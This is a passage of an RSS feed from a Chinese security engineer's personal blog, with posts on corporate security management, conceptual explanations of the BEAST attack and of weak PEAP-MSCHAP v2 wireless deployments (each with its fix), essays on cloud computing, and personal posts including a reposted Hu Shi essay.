相比策略而言，标准就是操作细节，类似于卫生部公布的《老年人跌倒干预技术指南》。对照来看，策略里面包含服务器上线策略，里面可能规定操作系统要进行安全加固配置，那么，标准里面就应该包括企业常用的各种OS加固标准，明确加固一步一步应该怎么做，让新手可以按照标准中的描述顺利完成整个加固过程。当然，好的标准还可以提供实施的自动化工具，帮助操作者自动化完成某些工作。标准需要尽可能做到完善，从底层的OS加固，到上层的WEB代码的编写，到员工离职后的IT部门的操作，都需要涵盖到。<br />
<br />
策略和标准，都是纸面上的东西，而且也非常容易只是存在于纸面，除了让外审看起来很漂亮之外在没有别的用处。解决这个问题，就需要流程出手了，流程的主要作用是用来保证安全部门的各项策略在部门间顺利执行，流程的每一步，都涉及到一个或多个标准。同时，流程需要注意单点问题，每一个关键的步骤，都需要有多个人员备份。还是以上面的服务器上线策略为例，在流程的SA缓环节，他们可能需要遵循服务器安装标准，在APP OPS环节，他们可能需要遵循应用软件如apache加固标准。其次，流程能够带来信息透明度，这一点对安全部门来说尤为重要。因为网络是一个整体，安全更是一个动态平衡的过程，某一个方面的一点小改动，如新增一个IP段，新加一个静态路由，都有可能导致另一个地方的ACL出现缺陷。安全部门需要及时的了解这种大大小小的变化，根据策略推动对应部门实施针对这种变化的措施。关于流程，还有一点非常的重要，那就是不同的时期对流程有不同的期待。企业的初期流程很少，变更非常的轻巧快捷，这是初恋。但是随着公司逐渐壮大，会形成一个混乱期，发现事情缺乏一种条理性，有些事情找不到对应的负责人，这是感情在长跑。这个时候，公司会着手大力建立流程，开始逐渐感受到美好，一切井井有条，这个是蜜月期。随着时间的退推移，流程会越来越多，当发现做事情非常的僵化，缺少灵活性企业变得像国企一样的按部就班的时候，那就是婚后的麻木期了。这个时候，公司又会开始精简流程，做一些适当的删减。总之，流程就是一个轮回的过程，动态的平衡，需要小心的把握。<br />
<br />
流程很好，但是并非绝对能保证策略和标准完美精准的执行下去，因为执行者是有感情的人，甚至可能因为前一天晚上没爽到导致第二天执行流程审批的时候一疏忽就放过去一个不应该批准的申请。因此，我们需要最后一步，复核。复核是最后一道关卡，可以是每个流程执行完毕都触发一次，也可以是周期性的自动触发审核所有的网络和系统。需要注意的是，复核的内容需要和策略以及标准是对应的，否则最终会形成无法可依的局面，在打人板子的时候找不到着力点，因为他们会有一个很好的理由，那就是安全部门没告诉我不能这么做。<br />
<br />
最后终于到了行政处罚了，关于这一点，我不想多说。多少年来，就一直有人争论是要技术还是要管理，是三分技术七分管理还是七分技术和三分管理等等诸如此类，所以我就不参与了。我的观点是吃米饭不影响吃面条，这顿吃米饭下顿吃面条，这顿吃米饭下顿继续吃米饭，都是可以的，能吃饱就行。只是行政处罚一定要非常慎重使用，这个属于大杀器。BTW，我今年在阿里就被行政处罚过，当然是我做事考虑不周导致出现网络故障。<br />
<br />
总的来说，我的观点是安全部门的责任是明确的告诉大家如何不犯法，并且提供各种手段保证大家尽可能不犯法。最后对于出现的不好行为，做到有法可依，有法必依，执法必严，违法必究。就我个人而言，我做得并不好，知易行难。</p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:05:38 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[互联网企业网络安全架构系列之一 —— 前言]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=816</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=816</guid>
			<description>
				<![CDATA[
<p>&nbsp; <span style="font-family: arial, sans-serif; font-size: 14px; ">早就想写一点关于互联网企业网络安全方面的文档。但是在开始之前，我先说说写这个的原因。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">在北京雅虎两年，杭州阿里集团三年，进行了很多次面试、招聘。发现博士大多数是在做神经网络、人工智能，硕士一般在搞可信计算、linux下的溢出分析保护，当然，这几年多了些在实验室搭建几台ubuntu、XEN搞云计算的。本科生则以windows下面的二进制行文分析、基于snort改装的IDS之类项目为主。接触过实战的，主要分为两类，web系列的，和溢出破解系列的。而我做的网络方面的工作，基本找不到人，这是让我无比纠结的一件事情。细想起来，也许有两个方面的原因，第一是缺乏环境，他们找不到上千台服务器的IDC网络，也找不到上千台PC终端的办公网络。第二个原因，则是书籍资料。网络上免费的书虽多，但是也是web安全的和二进制安全的好找，网络架构方面的则偏少。而第一个原因的存在，又导致在没有书的情况下无法在真实的环境中摸索碰撞，就像我当初在摔的各种跟头中进步。</span><br style="font-family: arial, sans-serif; font-size: 14px; " />
<br style="font-family: arial, sans-serif; font-size: 14px; " />
<span style="font-family: arial, sans-serif; font-size: 14px; ">那么，我就写一点提纲性的东西吧，希望能带一些人入门，然后可以让我更容易招人，让大家都更容易的招人。</span></p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:05:17 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[sleeping beauty]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=815</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=815</guid>
			<description>
				<![CDATA[
<p>&nbsp;<span style="font-family: arial, sans-serif; font-size: 14px; ">宝宝在睡觉。</span></p>
<p><a href="http://www.icylife.net/baby/wp-content/uploads/2011/10/P1010638-1024x784.jpg"><img alt="" src="http://www.icylife.net/baby/wp-content/uploads/2011/10/P1010638-1024x784.jpg" /></a></p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:04:56 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[关于BEAST攻击]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=814</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=814</guid>
			<description>
				<![CDATA[
<p>&nbsp;<span style="font-family: 微软雅黑; font-size: 14px; ">BEAST攻击细节在</span><a href="http://www.educatedguesswork.org/2011/09/security_impact_of_the_rizzodu.html" target="_blank" style="font-family: 微软雅黑; font-size: 14px; color: rgb(17, 85, 204); ">http://www.educatedguesswork.org/2011/09/security_impact_of_the_rizzodu.html</a><span style="font-family: 微软雅黑; font-size: 14px; ">，攻击的本质原因有2个。</span></p>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">第一个是基于CBC的加密方式，块加密的第一个block，C0 = E(Key, IV &oplus; M0)，C0是密文，Key是密钥，IV是初始化向量，M0是明文。之后的block，Ci = E(Key, Ci-1 &oplus; Mi)，前面的加密会影响后面的加密，形成连锁反应。这种设计本来是为了加强安全，解决同明文同密文的问题的，结果反而带来一些问题，前不久的<a href="http://icylife.net/yunshu/show.php?id=784" target="_blank" style="color: rgb(17, 85, 204); ">Padding Oracle Attack</a>也和这个有关。</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">第二个原因是HTTP是多请求的，一个SSL通道内有多次HTTP通信。而SSL v3和TLS1.0设计的时候，将多个请求当成一个数据流来分块加密，多次请求中的IV和KEY都维持不变。</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">假设已知block i中包含敏感信息M，同时假设下一个block的初始化向量X。那么，攻击者用定制的P代换掉M，在这个包含敏感信息的block加密发送后插入一个明文为X &oplus; Ci-1 &oplus; P的block，由CBC加密公式可知插入的明文加密后为E(Key, X &oplus; X &oplus; Ci-1 &oplus; P)即E(Key, &nbsp;Ci-1 &oplus; P)。同时，正确的明文加密后为E(Key, &nbsp;Ci-1 &oplus; M)。如果正常提交的那个数据包密文和插入的那个数据包密文一致，那么可知P等于M，也就是说你猜对了那个敏感信息。看来，只要知道X就可以猜解敏感信息了，但是这个X不知道啊。不过仔细想想，X真的不知道么？基于CBC的链式结构，它就是来自于上一个包的密文啊，于是攻击者可以通过注入数据而暴力猜解SSL加密通道中的某些数据了。</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">不过如果是很长的数据，暴力出来可能性不大，但是搞SQL注入的知道，刚兴起注入的时候就是用left之类的函数一个字接一个字节的猜，很明确的知道最多需要猜解多少次。在BEAST攻击中，如果恰当的构造数据分组，那么也可以一个字接一个字节的猜解敏感信息了。</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">文章后面是利用WebSockets和java applet来做攻击，就不看了，不擅长。攻击难度比较大，不过解决方法很简单，在服务端做设置，强制每传输了多少字节或者多少时间就变更一次KEY。</div>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 15:00:21 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[部署不当的PEAP-MSCHAP v2无线网容易被中间人劫持攻击]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=813</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=813</guid>
			<description>
				<![CDATA[
<p>&nbsp;<span style="font-family: 微软雅黑; font-size: 14px; ">企业部署无线网，一般选择WPA/WPA2标准。PEAP-MSCHAP v2 + AES（Advanced&nbsp;Encryption Standard）、使用AD认证是比较常见的架构之一。事实上，MSCHAP v2（Microsoft Challenge Handshake Authentication Protocol version 2）是EAP（Protected EAP）（Extensible Authentication Protocol）的具体实现，执行具体的认证工作，PEAP则是使用类似SSL的机制为认证提供传输层的安全。这里有一个好消息一个坏消息。</span></p>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">首先看坏消息。对称加密速度快强度也不低，但是由于加密和解密使用同一个密钥，分发密钥是一个难点，一旦遭到中间人劫持泄露了密钥整个传输都不再安全。而SSL则优美的解决了这个问题，通过RSA非对称加密，客户端通过验证证书对服务端进行检验，发现证书不匹配则断开连接，安全的传输用于给后续数据做对称加密的密钥。PEAP则是完全类似的机制，因此需要企业去购买一个证书，或者建立内部的PKI（Public Key &nbsp;Infrastructure）&nbsp;系统，将根证书部署到每个客户端，然后自签署一份用于无线认证的证书。但是问题在于大部分企业要么没有意识到这个问题，要么不愿意为无线网购买证书，要么为了部署方便不去搭建PKI，直接在客户端设置成&ldquo;不检验服务端证书&rdquo;。这么做导致的严重后果是攻击者通过ARP Spoof，可以很容易的劫持整个无线通信，从认证到后面的数据传输。当然，前提是需要攻击者也接入了无线网络中。</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">再来看好消息。由于使用了MSCHAP认证，客户端并不会把真实密码传输到AP以及Radius，而是用hash代替，所以中间人劫持捕获不到用户的密码，即常见的AD帐号密码。这也就是挑战认证的优势所在，MySQL也是这么做的。当然，由于攻击者是知道挑战时候的那个随机数，所以拿到HASH之后可以暴力破解，这已经比不知道HASH就暴力前进了一大步了，也不能算是太好的消息。</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">解决办法很清楚，在客户端勾选&ldquo;检验服务端证书&rdquo;，服务端则部署一个证书，买的或者内部PKI自签署的均可。</div>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 14:59:02 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[说一下Application Engine]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=812</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=812</guid>
			<description>
				<![CDATA[
<p>&nbsp;<span style="font-family: 微软雅黑; font-size: 14px; ">这个只是把我最近和刺、木瓜他们聊天时候说过的话写下来而已，零零碎碎的。本来早就想记下来，但是感觉似乎有点批评阿里云就耽搁了，当然我的目的不是批评谁。我想说的还是老话题，不要只重视云，更需要重视的是云前面的业务。</span></p>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">最早做Application Engine的是google的GAE，其次是新浪的SAE，然后是阿里云的ACE。做一个简单的这东西并不是很复杂，给域名做RR DNS到haproxy、nginx类的七层代理，后端用大量的Apache加PHP、Lua沙盒就能跑起来了。数据存储，也可以简单的给memcache和mysql加一个proxy再封装一层API，然后告诉用户是分布式的kv数据库或者sql数据库。当然，做到强大肯定需要虚拟化技术做后盾，随着负载增高后端apache自动增长，故障时候自动迁移之类。我猜测新浪在最开始的时候未必有这些技术作为底层，甚至有可能现在还没有完全做到。但是他们聪明的地方在于先把业务做出来，抢占市场。至于底层的虚拟化等技术，只是节省成本，提高可靠性而已，不慌。等做出来了，在把底层换掉或者慢慢迁移过去就行了。</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">另一方面，google则显然是先做出了虚拟化，bigtable之类底层技术再做的GAE，这又是为什么了？显然，不是google笨，而是因为他们是世界第一家做Application Engine的，据我所知是这样。所以他们可以不慌不忙，先做好底层了有了节约成本，提供高可靠性的能力了，再慢慢的去创新业务层的东西。我们的ACE，业务和技术都不在最前面，稍微慢了一点。</div>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 14:58:39 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[阿里巴巴2011年校园招聘开始]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=811</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=811</guid>
			<description>
				<![CDATA[
<p style="font-family: 微软雅黑; font-size: 14px; ">阿里巴巴2011年校园招聘开始了，只有两个要求：</p>
<p style="font-family: 微软雅黑; font-size: 14px; ">1. 懂安全。<br />
2. 喜欢安全。</p>
<p style="font-family: 微软雅黑; font-size: 14px; ">各位有意向的同学们赶紧的啊，杭州的妹子都给你们留着的。<br />
整个行程如下，也许你们还有人能碰到传说中的刺。</p>
<p style="font-family: 微软雅黑; font-size: 14px; ">校园招聘时间安排：<br />
西安：&nbsp;&nbsp;&nbsp; 9月22-25日<br />
哈尔滨： 9月25-28日<br />
成都：&nbsp;&nbsp;&nbsp;&nbsp; 9月26-28日<br />
南京:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10月10-13日<br />
合肥：&nbsp;&nbsp;&nbsp; 10月10-12日<br />
武汉：&nbsp;&nbsp;&nbsp; 10月10-13日<br />
上海：&nbsp;&nbsp;&nbsp; 10月14-17日<br />
北京：&nbsp;&nbsp;&nbsp; 10月14-17日<br />
天津：&nbsp;&nbsp;&nbsp; 10月15-17日</p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 14:57:17 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[不要对最终用户谈云]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=810</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=810</guid>
			<description>
				<![CDATA[
<p>&nbsp;<span style="font-family: 微软雅黑; font-size: 14px; ">写完之后回头看，似乎太激动了，不过还是贴出来吧</span></p>
<p style="font-family: 微软雅黑; font-size: 14px; ">---------------------------------我是很饿的分割线-----------------------------------------------</p>
<p style="font-family: 微软雅黑; font-size: 14px; ">刚起床。看了一下IT新闻，十条有八条是云，各种云，各种装，各种混乱，心头火起。我想大喊一声，而且我也曾经大喊过，不要对最终用户谈云，云对最终用户是毫无意义的。云不是目标，只是技术手段，云的意义只在于部署云的企业，为他们节省成本。用户看到的只是应用，是服务，服务好用我就用，不好用就滚。吃一个菜好吃，我管你是用平底锅做出来的还是用内力烤熟的。</p>
<p style="font-family: 微软雅黑; font-size: 14px; ">现在的云，一般都分为三个层次：IAAS、PAAS、SAAS。首先说IAAS，这是最底层的，基础架构即服务。本质是什么？大家都知道的，卖VPS虚拟机嘛。你说你使用了云技术，但是对用户来说，他们看到的就是这些，并不比以前的VPS高明多少。你说你使用了云技术，很好，那么对用户来说有哪些方面的提升？VM故障迁移，数据备份，负载均衡，还有没有？没有了？数据备份、负载均衡没有云的时候，是否可以实现？那么，你为什么不直接告诉用户我们可以做到故障实时迁移，可以做到数据备份保证不会丢失，通过负载均衡保证业务稳定？而要说我们是云，我们是云，云就是好啊就是好。显然，在PAAS里，云只是手段，目的是为了实现备份、迁移等技术保障业务稳定、安全，而且云并非唯一手段。</p>
<p style="font-family: 微软雅黑; font-size: 14px; ">其次是PAAS，平台即服务，这一块的产品有GAE、SAE以及阿里的ACE，都是云。云你妹啊，用户看到的是什么？提供一些封装好的上层API，加上支持某种阉割掉一些功能的动态语言的免费主页空间，是不是这样？是不是这样！云在这里跟2002年那些免费的支持PHP语言、MySQL数据库的免费主页空间有多大提升？别人还是完整功能的PHP啊，亲。云？RR DNS加上LVS加上Nginx加上Apache是不是就能实现？你给我100台服务器，我花两个星期阉割一个支持PHP，支持Lua的Application Engine云给你看看。唯一的优点是封装的API，开放了引擎提供者的某些服务。但是这个开放API和云有多大关系？只要开放API我随便搞一个免费空间就行了，随心所欲的写程序。云在这里能做什么？还是故障迁移，数据备份，负载均衡么？那为什么不直接告诉用户通过云这个技术手段实现的目的呢？手段别人不关心的，关键是通过手段实现了的东西啊！</p>
<p style="font-family: 微软雅黑; font-size: 14px; ">最后是SAAS，软件及服务。这一点，我都不稀罕说了。云同步，云邮件，云聊天，云相册，我笑了，不是还有云舒么？对于移动平台，不就是B/S又有点失势了C/S死灰复燃了么？甚至有的直接在桌面搞一个URL的快捷方式就是云了啊。同步，邮件，相册，没有云的时候有没有这些服务！？那么云的好处是什么？我擦，还是备份，哦，还有空间大，随地存取。但是这些，没有云的时候不也可以么？只要我有钱，我买很多NAS，空间是不是一样大？备份是不是一样能够做好？至于随时跨平台存取，那是因为以前移动平台没发展起来没有人写手机客户端啊，写个客户端就成了云了？云在这里的好处，不是对用户的，是对部署云的企业的，省钱啊！！</p>
<p style="font-family: 微软雅黑; font-size: 14px; ">额外的，单独说一下分布式计算。确实，可以带来很多好处，但是有个人用户写job去跑的么？面对的用户会是中小型企业，最终受益的还是企业。老老实实的告诉他们，这个分布式计算能够提供怎么样的计算能力，节省多少时间就行了，不要说我们是云我们是云，云只是实现这个分布式计算的技术手段。我相信，他们也不会关心这个，他们只在乎我的job多久跑完，结果是否正确。</p>
<p style="font-family: 微软雅黑; font-size: 14px; ">云，只是技术手段，不是目的。我们应该直接告诉用户云这个技术在业务上实现了哪些东西，带来了哪些明确的好处，而不要一直在宣传&ldquo;我们是云&rdquo;。用户不关心是不是云，云对最终用户是毫无意义的，他们只关心业务是否好用！！云只对通过云技术提供服务的企业存在意义，帮助他们省钱。记住，用户不关心云！！</p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 14:56:18 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[虚拟化网络安全]]></title>
			<category>技术</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=809</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=809</guid>
			<description>
				<![CDATA[
<p><span style="font-family: 微软雅黑; font-size: 14px; ">好久没更新博客了，今天做了一个内部分享，把PPT发上来。现在不行了，讲了一上午嗓子都哑了。</span></p>
<p style="font-family: 微软雅黑; font-size: 14px; ">BTW，很抱歉PPT删掉了两页。另外，我的PPT一向很素很素&hellip;&hellip;</p>
<p style="font-family: 微软雅黑; font-size: 14px; "><a href="http://icylife.net/userfiles/file/vNet-Security.pdf" target="_blank" style="color: rgb(17, 85, 204); ">点击这里下载</a></p>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 14:55:53 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[我做爸爸了]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=808</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=808</guid>
			<description>
				<![CDATA[
<p><span style="font-family: 微软雅黑; font-size: 14px; ">这是一篇迟到的博客。我做爸爸了！</span></p>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">8月5号一大早我开始休假回家陪icy生宝宝。刚从杭州出发，还没有上高速就接到icy的电话，说是反应强烈已经在医院住下了，这个真是我们三个人的心有灵犀啊。如果生宝宝时候我不在身边，我想我会后悔一辈子的，于是就沿着高速一路激情900多公里回到潜江。很抱歉不守规矩的超车无数，也因此夺得了部门第一车神的称号。</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">5号晚上icy疼得越来越很厉害，我只能在一旁鼓励，让她抓着我的手，偶尔喂食一点巧克力，虽然她不太吃得下了。看她翻来覆去，好几次我眼泪都流出来了，但是又不敢让她看见，担心她会更加担心。到了晚上十点多进入产房，但是很残忍的家属严禁入内，只能焦急的等待&hellip;&hellip;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">我开始试探性的推开产房第一个大门，没有被医生发现，不过听不见任何声音，也看不到任何东西，除了焦急还是焦急。直到后来，我试探性的推开了第二道门，在被医生发现之前，稍微看到了一点点情况，听到老婆的声音，心里才稍微安定了一点。每隔几分钟，偷偷潜入听几分钟再出来，然后再又进去。直到七夕子时，公历8月6号零点38分，我做了爸爸！！我们的宝贝女儿来到我和ICY的身旁！！</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">&nbsp;</div>
<div style="font-family: 微软雅黑; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; ">第一次抱着宝宝的那种激动，那种担心，我不知道怎么样形容。抱紧了怕她难受，抱送了怕她掉下去，但是，这感觉是那么的美好。现在就是等待，等着她慢慢的长大。等待她喊出第一声爸爸，等待她迈出第一步，等待她开始上学，等待她所有的未来。</div>
				]]>
			</description>
			<pubDate>Wed, 01 Feb 2012 14:55:11 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[突发奇想]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=807</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=807</guid>
			<description>
				<![CDATA[
<p>周末很无聊，也很热，于是跑到公司吹空调写代码。结果今天人品爆好，第一次编译就通过了，运行的时候也只出了一个非常好查出原因的bug，立即解决了。</p>
<p>搞完代码突发奇想，决定去北高峰看日落。没有任何理由的，突然这么想，连自己都吓了一跳。于是乎查路线，准备过去。准备得差不多了，突然有心灰意冷懒得去了&hellip;&hellip;悲剧。更悲剧的是，我想把这个神奇的事情分享给LP大人听一下。因为我很少运动，一个人爬山看日落这么有情调的事情，更不是我的做法，至少最近几年没这种浪漫的念头了。</p>
<p>果不其然，打电话告诉LP后，她很惊讶，也有些疑惑&hellip;&hellip;我只是突发奇想，但是她却想提炼出一个中心思想来，并让我归纳出一个这么想的理由。我自己都不知道为什么突然想去，何等的悲催啊。</p>
<p>以后不乱想了&hellip;&hellip;</p>
				]]>
			</description>
			<pubDate>Sun, 26 Jun 2011 19:51:18 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[胡适《我们要我们的自由》]]></title>
			<category>读书</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=806</link>
			<guid>http://www.icylife.net/yunshu/show.php?id=806</guid>
			<description>
				<![CDATA[
<p>都说我博客好久没更新。倒不是懒，而是没太多东西写。生活，工作，都是那个样子的，大家都一样。不如转一下胡适的一篇文章好了。需要注意的是，这是他当年骂蒋介石政府的。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>佛书里有这样一段神话：<br />
&nbsp;<br />
有一只鹦鹉，飞过雪山，遇见雪山大火，他便飞到水上，垂下翅膀，沾了两翅的水，飞去滴在火焰上。雪山的大神看他往来滴水救火，对他说道：&ldquo;你那翅膀上的几滴水怎么救得了这一山的大火呢？你歇歇吧？&rdquo;鹦鹉回答道：&ldquo;我曾住过这山，现在见山烧火，心里有点不忍，所以想尽一点力。&rdquo;山神听了，感他的诚意，遂用神力把火救熄了。<br />
&nbsp;<br />
我们现在创办这个刊物，也只因为我们骨头烧成灰毕竟都是中国人，在这个国家吃紧的关头，心里有点不忍，所以想尽一点力。我们的能力是很微弱的，我们要说的话也许是有错误的，但我们这一点不忍的心也许可以得着国人的同情和谅解。<br />
&nbsp;<br />
近两年来，国人都感觉舆论的不自由。在&ldquo;训政&rdquo;的旗帜之下，在&ldquo;维持共信&rdquo;的口号之下，一切言论自由和出版自由都得受种种的钳制。异己便是发动，批评便是反革命。报纸的新闻和出版自由至今还受检查。稍不如意轻的便是停止邮寄，重的便是封闭。所以今天全国之大，无一家报刊杂志敢于有翔实的记载或善意的批评。<br />
&nbsp;<br />
负责任的舆论机关既被钳制了，民间的怨愤只有三条路可以发泄：一是秘密的小册子，二是匿名的杂志文字，三是今天最流行的小报。社会上没有翔实的新闻可读，人们自然愿意向小报中去寻找快意的谣言了。<br />
一个国家没有纪实的新闻而只有快意的谣言，没有公正的批评而只有恶意的谩骂和丑诋，&mdash;&mdash;这是一个民族的大耻辱。这都是摧残言论出版自由的当然结果。<br />
&nbsp;<br />
我们是爱自由的人，我们要我们的思想自由，言论自由，出版自由。<br />
&nbsp;<br />
我们不用说，这几种自由是学术思想进步的必要条件，也是有国社会政治改善的必要条件。<br />
&nbsp;<br />
我们现在要说，我们深深感觉国家前途的危险，所以不忍放弃我们的思想言论的自由。<br />
&nbsp;<br />
我们的政府至今还在一班没有现代学识没有现代训练的军人政客的手里，这是不可讳的事实。这个政府，在名义上，应该受一个政党的监督指导。但党的各级机关大都在一班没有现代学识没有现代训练的少年党人手里，他们能贴标语，能喊口号，而不足以监督指导一个现代的国家。这也是不可讳的事实。所以在事实上，党不但不能行使监督指导之权，还往往受政府的支配。最近开会的&ldquo;第三次全国代表大会&rdquo;，便有百分之七八十的代表是政府指派或圈定的。所以在事实上，这个政府是绝对的，是没有监督指导的机关的。<br />
&nbsp;<br />
以一班没有现代知识训练的人统治一个几乎完全没有现代设备的国家，而丝毫没有监督指导的机关，&mdash;&mdash;这是中国当前最大的危机。<br />
&nbsp;<br />
我们所以要争我们的思想言论出版的自由，第一，是要想尽我们的微薄能力，以中国国民的资格，对于国家社会的问题作善意的批评和积极的讨论，尽一点指导监督的天职；第二，是要借此提倡一点风气，引起国内的学者注意国家社会的问题，大家起来做政府和政党的指导监督。<br />
&nbsp;<br />
我们深信，不负责任的秘密传单或匿名文字都不是争自由的正当方法。我们所争的不是匿名文字或秘密传单的自由，乃是公开的，负责任的言论著述出版的自由。<br />
&nbsp;<br />
我们深信，自由的方法在于负责任的人说负责任的话。<br />
&nbsp;<br />
我们办这个刊物的目的便是以负责任的人对社会国家的问题说负责任的话。我们用自己的真姓名发表自己良心上用说的话。有谁不赞成我们的主张，尽可以讨论，尽可以批评，有尽可以提起法律上的控诉。但我们不受任何方面的非法干涉。<br />
&nbsp;<br />
这是我们的根本态度。</p>
				]]>
			</description>
			<pubDate>Thu, 02 Jun 2011 11:32:18 +0800</pubDate>
		</item>
		<item>
			<title><![CDATA[清明前后]]></title>
			<category>琐记</category>
			<author>wustyunshu@yahoo.com.cn(云舒)</author>
			<link>http://www.icylife.net/yunshu/show.php?id=805</link>
